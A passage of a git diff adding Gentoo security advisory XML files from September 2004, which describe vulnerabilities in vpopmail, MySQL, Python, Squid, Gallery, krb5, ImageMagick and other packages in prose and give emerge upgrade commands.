+  <revised>September 01, 2004: 01</revised>
+  <bug>60844</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/vpopmail" auto="yes" arch="*">
+      <unaffected range="ge">5.4.6</unaffected>
+      <vulnerable range="lt">5.4.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    vpopmail handles virtual mail domains for qmail and Postfix.
+    </p>
+  </background>
+  <description>
+    <p>
+    vpopmail is vulnerable to several unspecified SQL injection exploits.
+    Furthermore when using Sybase as the backend database vpopmail is
+    vulnerable to a buffer overflow and format string exploit.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    These vulnerabilities could allow an attacker to execute code with the
+    permissions of the user running vpopmail.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of vpopmail.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All vpopmail users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-mail/vpopmail-5.4.6"
+    # emerge ">=net-mail/vpopmail-5.4.6"</code>
+  </resolution>
+  <references>
+    <uri link="http://sourceforge.net/forum/forum.php?forum_id=400873">vpopmail Announcement</uri>
+    <uri link="http://www.securityfocus.com/archive/1/371913/2004-08-15/2004-08-21/0">Bugtraq Announcement</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 26 Aug 2004 17:42:34 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-02.xml b/xml/htdocs/security/en/glsa/glsa-200409-02.xml
new file mode 100644
index 00000000..8204ab27
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-02.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-02">
+  <title>MySQL: Insecure temporary file creation in mysqlhotcopy</title>
+  <synopsis>
+    The mysqlhotcopy utility can create temporary files with predictable paths,
+    allowing an attacker to use a symlink to trick MySQL into overwriting
+    important data.
+  </synopsis>
+  <product type="ebuild">MySQL</product>
+  <announced>September 01, 2004</announced>
+  <revised>September 01, 2004: 01</revised>
+  <bug>60744</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-db/mysql" auto="yes" arch="*">
+      <unaffected range="ge">4.0.20-r1</unaffected>
+      <vulnerable range="le">4.0.20</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MySQL is a popular open-source multi-threaded, multi-user SQL database
+    server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jeroen van Wolffelaar discovered that the MySQL database hot copy utility
+    (mysqlhotcopy.sh), when using the scp method, uses temporary files with
+    predictable names. A malicious local user with write access to the /tmp
+    directory could create a symbolic link pointing to a file, which may then
+    be overwritten. In cases where mysqlhotcopy is run as root, a malicious
+    user could create a symlink to a critical file such as /etc/passwd and
+    cause it to be overwritten.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could use this vulnerability to destroy other users' data
+    or corrupt and destroy system files, possibly leading to a denial of
+    service condition.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MySQL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=dev-db/mysql-4.0.20-r1"
+    # emerge ">=dev-db/mysql-4.0.20-r1"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0457">CAN-2004-0457</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 31 Aug 2004 08:03:33 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 31 Aug 2004 15:42:33 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-03.xml b/xml/htdocs/security/en/glsa/glsa-200409-03.xml
new file mode 100644
index 00000000..bb244491
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-03.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-03">
+  <title>Python 2.2: Buffer overflow in getaddrinfo()</title>
+  <synopsis>
+    Python 2.2 has a vulnerability in DNS handling when IPV6 is disabled and a
+    malformed IPV6 address is encountered by getaddrinfo().
+  </synopsis>
+  <product type="ebuild">Python</product>
+  <announced>September 02, 2004</announced>
+  <revised>September 02, 2004: 01</revised>
+  <bug>62440</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/python" auto="yes" arch="*">
+      <unaffected range="ge">2.2.2</unaffected>
+      <unaffected range="lt">2.2</unaffected>
+      <vulnerable range="lt">2.2.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Python is an interpreted, interactive, object-oriented, cross-platform
+    programming language.
+    </p>
+  </background>
+  <description>
+    <p>
+    If IPV6 is disabled in Python 2.2, getaddrinfo() is not able to handle IPV6
+    DNS requests properly and a buffer overflow occurs.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker can execute arbitrary code as the user running python.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Users with IPV6 enabled are not affected by this vulnerability.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Python 2.2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=dev-lang/python-2.2.2"
+    # emerge ">=dev-lang/python-2.2.2"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0150">CVE-2004-0150</uri>
+    <uri link="http://www.osvdb.org/4172">OSVDB:4172</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 31 Aug 2004 22:51:44 +0000">
+    chriswhite
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-04.xml b/xml/htdocs/security/en/glsa/glsa-200409-04.xml
new file mode 100644
index 00000000..7868f03d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-04.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-04">
+  <title>Squid: Denial of service when using NTLM authentication</title>
+  <synopsis>
+    Squid is vulnerable to a denial of service attack which could crash its
+    NTLM helpers.
+  </synopsis>
+  <product type="ebuild">squid</product>
+  <announced>September 02, 2004</announced>
+  <revised>December 30, 2007: 03</revised>
+  <bug>61280</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-proxy/squid" auto="yes" arch="*">
+      <unaffected range="ge">2.5.6-r2</unaffected>
+      <unaffected range="lt">2.5</unaffected>
+      <vulnerable range="le">2.5.6-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Squid is a full-featured Web Proxy Cache designed to run on Unix
+    systems. It supports proxying and caching of HTTP, FTP, and other URLs,
+    as well as SSL support, cache hierarchies, transparent caching, access
+    control lists and many other features.
+    </p>
+  </background>
+  <description>
+    <p>
+    Squid 2.5.x versions contain a bug in the functions ntlm_fetch_string()
+    and ntlm_get_string() which lack checking the int32_t offset "o" for
+    negative values.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could cause a denial of service situation by sending
+    certain malformed NTLMSSP packets if NTLM authentication is enabled.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable NTLM authentication by removing any "auth_param ntlm program
+    ..." directives from squid.conf or use ntlm_auth from Samba-3.x.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Squid users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-www/squid-2.5.6-r2&quot;
+    # emerge &quot;&gt;=net-www/squid-2.5.6-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www1.uk.squid-cache.org/squid/Versions/v2/2.5/bugs/#squid-2.5.STABLE6-ntlm_fetch_string">Squid-2.5 Patches</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0832">CVE-2004-0832</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu,  2 Sep 2004 10:25:32 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-05.xml b/xml/htdocs/security/en/glsa/glsa-200409-05.xml
new file mode 100644
index 00000000..38d29d2e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-05.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-05">
+  <title>Gallery: Arbitrary command execution</title>
+  <synopsis>
+    The Gallery image upload code contains a temporary file handling
+    vulnerability which could lead to execution of arbitrary commands.
+  </synopsis>
+  <product type="ebuild">Gallery</product>
+  <announced>September 02, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>60742</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/gallery" auto="yes" arch="*">
+      <unaffected range="ge">1.4.4_p2</unaffected>
+      <vulnerable range="lt">1.4.4_p2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Gallery is a PHP script for maintaining online photo albums.
+    </p>
+  </background>
+  <description>
+    <p>
+    The upload handling code in Gallery places uploaded files in a
+    temporary directory. After 30 seconds, these files are deleted if they
+    are not valid images. However, since the file exists for 30 seconds, a
+    carefully crafted script could be initiated by the remote attacker
+    during this 30 second timeout. Note that the temporary directory has to
+    be located inside the webroot and an attacker needs to have upload
+    rights either as an authenticated user or via "EVERYBODY".
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could run arbitrary code as the user running PHP.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are several workarounds to this vulnerability:
+    </p>
+    <ul>
+    <li>Make sure that your temporary directory is not contained in the
+    webroot; by default it is located outside the webroot.</li>
+    <li>Disable upload rights to all albums for "EVERYBODY"; upload is
+    disabled by default.</li>
+    <li>Disable debug and dev mode; these settings are disabled by
+    default.</li>
+    <li>Disable allow_url_fopen in php.ini.</li>
+    </ul>
+  </workaround>
+  <resolution>
+    <p>
+    All Gallery users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=www-apps/gallery-1.4.4_p2&quot;
+    # emerge &quot;&gt;=www-apps/gallery-1.4.4_p2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://archives.neohapsis.com/archives/fulldisclosure/2004-08/0757.html">Full Disclosure Announcement</uri>
+    <uri link="http://gallery.menalto.com/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=134&amp;mode=thread&amp;order=0&amp;thold=0">Gallery Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1466">CVE-2004-1466</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 22 Aug 2004 09:02:45 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 25 Aug 2004 23:33:36 +0000">
+    chriswhite
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-06.xml b/xml/htdocs/security/en/glsa/glsa-200409-06.xml
new file mode 100644
index 00000000..2e296117
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-06.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-06">
+  <title>eGroupWare: Multiple XSS vulnerabilities</title>
+  <synopsis>
+    The eGroupWare software contains multiple cross site scripting
+    vulnerabilities.
+  </synopsis>
+  <product type="ebuild">eGroupWare</product>
+  <announced>September 02, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>61510</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/egroupware" auto="yes" arch="*">
+      <unaffected range="ge">1.0.00.004</unaffected>
+      <vulnerable range="le">1.0.00.003</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    eGroupWare is a suite of web-based group applications including
+    calendar, address book, messenger and email.
+    </p>
+  </background>
+  <description>
+    <p>
+    Joxean Koret recently discovered multiple cross site scripting
+    vulnerabilities in various modules for the eGroupWare suite. This
+    includes the calendar, address book, messenger and ticket modules.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    These vulnerabilities give an attacker the ability to inject and
+    execute malicious script code, potentially compromising the victim's
+    browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of eGroupWare.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All eGroupWare users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=www-apps/egroupware-1.0.00.004&quot;
+    # emerge &quot;&gt;=www-apps/egroupware-1.0.00.004&quot;</code>
+  </resolution>
+  <references>
+    <uri link="https://sourceforge.net/forum/forum.php?forum_id=401807">eGroupWare Announcement</uri>
+    <uri link="http://www.securityfocus.com/archive/1/372603/2004-08-21/2004-08-27/0">Bugtraq Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1467">CVE-2004-1467</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed,  1 Sep 2004 13:44:57 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed,  1 Sep 2004 19:01:03 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-07.xml b/xml/htdocs/security/en/glsa/glsa-200409-07.xml
new file mode 100644
index 00000000..309c6aef
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-07.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-07">
+  <title>xv: Buffer overflows in image handling</title>
+  <synopsis>
+    xv contains multiple exploitable buffer overflows in the image handling
+    code.
+  </synopsis>
+  <product type="ebuild">xv</product>
+  <announced>September 03, 2004</announced>
+  <revised>September 03, 2004: 01</revised>
+  <bug>61619</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/xv" auto="yes" arch="*">
+      <unaffected range="ge">3.10a-r7</unaffected>
+      <vulnerable range="lt">3.10a-r7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xv is a multi-format image manipulation utility.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple buffer overflow and integer handling vulnerabilities have been
+    discovered in xv's image processing code. These vulnerabilities have been
+    found in the xvbmp.c, xviris.c, xvpcx.c and xvpm.c source files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker might be able to embed malicious code into an image, which
+    would lead to the execution of arbitrary code under the privileges of the
+    user viewing the image.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xv users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=media-gfx/xv-3.10a-r7"
+    # emerge ">=media-gfx/xv-3.10a-r7"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/archive/1/372345/2004-08-15/2004-08-21/0">BugTraq Advisory</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0802">CAN-2004-0802</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu,  2 Sep 2004 20:38:02 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu,  2 Sep 2004 23:57:51 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-08.xml b/xml/htdocs/security/en/glsa/glsa-200409-08.xml
new file mode 100644
index 00000000..5fef8c7a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-08.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-08">
+  <title>Ruby: CGI::Session creates files insecurely</title>
+  <synopsis>
+    When used for CGI scripting, Ruby creates session files in /tmp with the
+    permissions of the default umask. Depending on that umask, local users may
+    be able to read sensitive data stored in session files.
+  </synopsis>
+  <product type="ebuild">dev-lang/ruby</product>
+  <announced>September 03, 2004</announced>
+  <revised>September 03, 2004: 01</revised>
+  <bug>60525</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-lang/ruby" auto="yes" arch="*">
+      <unaffected range="rge">1.6.8-r11</unaffected>
+      <unaffected range="rge">1.8.0-r7</unaffected>
+      <unaffected range="ge">1.8.2_pre2</unaffected>
+      <vulnerable range="lt">1.8.2_pre2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ruby is an Object Oriented, interpreted scripting language used for many
+    system scripting tasks. It can also be used for CGI web applications.
+    </p>
+  </background>
+  <description>
+    <p>
+    The CGI::Session::FileStore implementation (and presumably
+    CGI::Session::PStore), which allow data associated with a particular
+    Session instance to be written to a file, writes to a file in /tmp with no
+    regard for secure permissions. As a result, the file is left with whatever
+    the default umask permissions are, which commonly would allow other local
+    users to read the data from that session file.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Depending on the default umask, any data stored using these methods could
+    be read by other users on the system.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    By changing the default umask on the system to not permit read access to
+    other users (e.g. 0700), one can prevent these files from being readable by
+    other users.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ruby users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=dev-lang/ruby-your_version"
+    # emerge ">=dev-lang/ruby-your_version"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0755">CAN-2004-0755</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 28 Aug 2004 23:01:05 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed,  1 Sep 2004 04:27:07 +0000">
+    dmargoli
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-09.xml b/xml/htdocs/security/en/glsa/glsa-200409-09.xml
new file mode 100644
index 00000000..ee1fe863
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-09.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-09">
+  <title>MIT krb5: Multiple vulnerabilities</title>
+  <synopsis>
+    MIT krb5 contains several double-free vulnerabilities, potentially allowing
+    the execution of arbitrary code, as well as a denial of service
+    vulnerability.
+  </synopsis>
+  <product type="ebuild">mit-krb5</product>
+  <announced>September 06, 2004</announced>
+  <revised>September 06, 2004: 01</revised>
+  <bug>62417</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-crypt/mit-krb5" auto="yes" arch="*">
+      <unaffected range="ge">1.3.4</unaffected>
+      <vulnerable range="lt">1.3.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MIT krb5 is the free implementation of the Kerberos network authentication
+    protocol by the Massachusetts Institute of Technology.
+    </p>
+  </background>
+  <description>
+    <p>
+    The implementation of the Key Distribution Center (KDC) and the MIT krb5
+    library contain double-free vulnerabilities, making client programs as well
+    as application servers vulnerable.
+    </p>
+    <p>
+    The ASN.1 decoder library is vulnerable to a denial of service attack,
+    including the KDC.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    The double-free vulnerabilities could allow an attacker to execute
+    arbitrary code on a KDC host and hosts running krb524d or vulnerable
+    services. In the case of a KDC host, this can lead to a compromise of the
+    entire Kerberos realm. Furthermore, an attacker impersonating a legitimate
+    KDC or application server can potentially execute arbitrary code on
+    authenticating clients.
+    </p>
+    <p>
+    An attacker can cause a denial of service for a KDC or application server
+    and clients, the latter if impersonating a legitimate KDC or application
+    server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mit-krb5 users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-crypt/mit-krb5-1.3.4"
+    # emerge ">=app-crypt/mit-krb5-1.3.4"</code>
+  </resolution>
+  <references>
+    <uri link="http://web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2004-002-dblfree.txt">MIT krb5 Security Advisory 2004-002</uri>
+    <uri link="http://web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2004-003-asn1.txt">MIT krb5 Security Advisory 2004-003</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0642">CAN-2004-0642</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0643">CAN-2004-0643</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0644">CAN-2004-0644</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0772">CAN-2004-0772</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri,  3 Sep 2004 20:07:22 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat,  4 Sep 2004 16:18:26 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-10.xml b/xml/htdocs/security/en/glsa/glsa-200409-10.xml
new file mode 100644
index 00000000..e0d27a58
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-10.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-10">
+  <title>multi-gnome-terminal: Information leak</title>
+  <synopsis>
+    Active keystroke logging in multi-gnome-terminal has been discovered in
+    potentially world-readable files. This could allow any authorized user on
+    the system to read sensitive data, including passwords.
+  </synopsis>
+  <product type="ebuild">multi-gnome-terminal</product>
+  <announced>September 06, 2004</announced>
+  <revised>September 06, 2004: 01</revised>
+  <bug>62322</bug>
+  <access>local</access>
+  <affected>
+    <package name="x11-terms/multi-gnome-terminal" auto="yes" arch="*">
+      <unaffected range="ge">1.6.2-r1</unaffected>
+      <vulnerable range="lt">1.6.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    multi-gnome-terminal is an enhanced terminal emulator that is derived from
+    gnome-terminal.
+    </p>
+  </background>
+  <description>
+    <p>
+    multi-gnome-terminal contains debugging code that has been known to output
+    active keystrokes to a potentially unsafe location. Output has been seen to
+    show up in the '.xsession-errors' file in the users home directory. Since
+    this file is world-readable on many machines, this bug has the potential to
+    leak sensitive information to anyone using the system.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Any authorized user on the local machine has the ability to read any
+    critical data that has been entered into the terminal, including passwords.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All multi-gnome-terminal users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=x11-terms/multi-gnome-terminal-1.6.2-r1"
+    # emerge ">=x11-terms/multi-gnome-terminal-1.6.2-r1"</code>
+  </resolution>
+  <references/>
+  <metadata tag="requester" timestamp="Sun,  5 Sep 2004 20:51:40 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon,  6 Sep 2004 00:32:18 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon,  6 Sep 2004 17:31:16 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-11.xml b/xml/htdocs/security/en/glsa/glsa-200409-11.xml
new file mode 100644
index 00000000..ce39b680
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-11.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-11">
+  <title>star: Suid root vulnerability</title>
+  <synopsis>
+    star contains a suid root vulnerability which could potentially grant
+    unauthorized root access to an attacker.
+  </synopsis>
+  <product type="ebuild">star</product>
+  <announced>September 07, 2004</announced>
+  <revised>May 30, 2006: 03</revised>
+  <bug>61797</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-arch/star" auto="yes" arch="*">
+      <unaffected range="ge">1.5_alpha46</unaffected>
+      <vulnerable range="lt">1.5_alpha46</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    star is an enhanced tape archiver, much like tar, that is recognized
+    for it's speed as well as it's enhanced mt/rmt support.
+    </p>
+  </background>
+  <description>
+    <p>
+    A suid root vulnerability exists in versions of star that are
+    configured to use ssh for remote tape access.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Attackers with local user level access could potentially gain root
+    level access.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All star users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=app-arch/star-1.5_alpha46&quot;
+    # emerge &quot;&gt;=app-arch/star-1.5_alpha46&quot;</code>
+  </resolution>
+  <references>
+    <uri link="https://lists.berlios.de/pipermail/star-users/2004-August/000239.html">Star Mailing List Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0850">CVE-2004-0850</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri,  3 Sep 2004 20:05:50 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat,  4 Sep 2004 19:37:00 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue,  7 Sep 2004 20:59:47 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-12.xml b/xml/htdocs/security/en/glsa/glsa-200409-12.xml
new file mode 100644
index 00000000..4a3a7fa0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-12.xml
@@ -0,0 +1,100 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-12">
+  <title>ImageMagick, imlib, imlib2: BMP decoding buffer overflows</title>
+  <synopsis>
+    ImageMagick, imlib and imlib2 contain exploitable buffer overflow
+    vulnerabilities in the BMP image processing code.
+  </synopsis>
+  <product type="ebuild">imagemagick imlib</product>
+  <announced>September 08, 2004</announced>
+  <revised>September 08, 2004: 01</revised>
+  <bug>62309</bug>
+  <bug>62487</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/imagemagick" auto="yes" arch="*">
+      <unaffected range="ge">6.0.7.1</unaffected>
+      <vulnerable range="lt">6.0.7.1</vulnerable>
+    </package>
+    <package name="media-libs/imlib" auto="yes" arch="*">
+      <unaffected range="ge">1.9.14-r2</unaffected>
+      <vulnerable range="lt">1.9.14-r2</vulnerable>
+    </package>
+    <package name="media-libs/imlib2" auto="yes" arch="*">
+      <unaffected range="ge">1.1.2</unaffected>
+      <vulnerable range="lt">1.1.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ImageMagick is a suite of image manipulation utilities and libraries used
+    for a wide variety of image formats. imlib is a general image loading and
+    rendering library.
+    </p>
